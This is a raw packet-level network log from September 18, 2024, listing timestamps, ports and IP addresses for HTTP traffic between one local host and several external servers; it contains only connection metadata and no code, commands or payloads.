Sep 18, 2024 14:30:08.062973976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062977076 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.062988997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.062989950 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063003063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063013077 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063015938 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063028097 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063040018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063050985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063064098 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063076973 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063086987 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063090086 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063101053 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063119888 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063128948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.063132048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063143969 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063153028 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.063169003 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063185930 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063201904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063214064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063225985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063235998 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063237906 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063249111 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063261032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063263893 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063273907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063291073 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063312054 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063319921 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063333988 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063344002 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063359976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063363075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063374043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063393116 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063412905 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063425064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063432932 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063432932 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063443899 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.063443899 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.063458920 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063469887 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.063471079 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063487053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063498974 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.063524008 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.063575029 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063587904 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063600063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063611031 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.063613892 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063623905 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063636065 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.063637972 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063669920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.063688040 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.063688040 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.064172983 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.064199924 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.064209938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.064217091 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.064229012 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.064245939 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.064254999 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.064266920 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.064280987 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.064281940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.064294100 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.064297915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.064315081 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.064332962 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.065098047 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.065136909 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.065161943 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.065196037 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.065598011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065610886 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065623045 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065637112 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.065653086 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.065661907 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065675974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065694094 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065696955 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.065709114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065725088 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.065745115 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065746069 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.065758944 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065771103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065782070 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.065787077 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.065810919 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.065834045 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.067177057 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.067239046 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.074625015 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.074711084 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.074760914 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.074804068 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.140767097 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.140806913 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.140820026 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.140830040 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.140858889 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.140942097 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.140955925 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.140969038 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.140981913 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.140983105 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.141015053 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.141019106 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.141033888 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.141046047 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.141048908 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.141074896 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.141103983 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.141388893 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.141428947 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.141879082 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.148282051 CEST	80	49711	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.148333073 CEST	49711	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.148881912 CEST	80	49715	167.114.163.236	192.168.2.7
Sep 18, 2024 14:30:08.148956060 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.149209023 CEST	49715	80	192.168.2.7	167.114.163.236
Sep 18, 2024 14:30:08.151782036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.151797056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.151808977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.151829004 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.151840925 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.151844978 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.151854038 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.151866913 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.151868105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.151910067 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.151974916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.151989937 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152003050 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152009964 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152017117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152031898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152039051 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152044058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152055979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152065992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152076960 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152082920 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152092934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152112007 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152122021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152138948 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152142048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152157068 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152162075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152172089 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152178049 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152188063 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152194977 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152210951 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152228117 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152235985 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152249098 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152260065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152271032 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152271986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152285099 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152287960 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152298927 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152307987 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152312040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152324915 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152335882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152338982 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152352095 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152353048 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152376890 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152400017 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152463913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152476072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152487040 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152496099 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152499914 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152514935 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152514935 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152528048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152532101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152539968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152554989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152559996 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152568102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152576923 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152604103 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152611017 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152616024 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152630091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152640104 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152641058 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152654886 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.152666092 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.152668953 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152678013 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.152698994 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152733088 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.152733088 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.152745962 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.152759075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152770042 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152776957 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.152781963 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152793884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152803898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152806044 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152817965 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152829885 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152836084 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152842999 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152853012 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152856112 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152868986 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.152879000 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.152909994 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.153505087 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153518915 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153531075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153542995 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153553963 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153556108 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.153565884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153578997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153585911 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.153589964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.153601885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.153611898 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.153613091 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.153625011 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.153635979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153635979 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.153646946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153659105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153659105 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.153672934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153685093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.153688908 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.153704882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.153722048 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.154094934 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154108047 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154120922 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154134035 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154143095 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.154145956 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.154159069 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.154162884 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.154194117 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.154196024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.154211044 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.154225111 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154263020 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.154357910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154371977 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154381990 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154396057 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.154401064 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.154408932 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.154418945 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154427052 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.154431105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154443026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154453993 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154453993 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.154465914 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.154476881 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.154481888 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.154489994 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.154501915 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.154505014 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.154505968 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.154525995 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.154541016 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.154978991 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.154993057 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155004025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155014992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155026913 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155028105 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.155038118 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155049086 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155050993 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.155071020 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155073881 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.155085087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155090094 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.155097008 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155107975 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155114889 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.155122995 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155134916 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155144930 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.155145884 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155158043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.155163050 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.155172110 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.155179977 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.155213118 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.155215025 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.155391932 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.155405998 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.155416965 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.155430079 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.155438900 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.155442953 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.155453920 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.155466080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.155468941 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.155473948 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.155478954 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.155491114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.155503035 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.155514002 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.155514956 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.155533075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.155550957 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.156330109 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.156344891 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.156357050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.156368017 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.156377077 CEST	49703	80	192.168.2.7	176.113.115.33
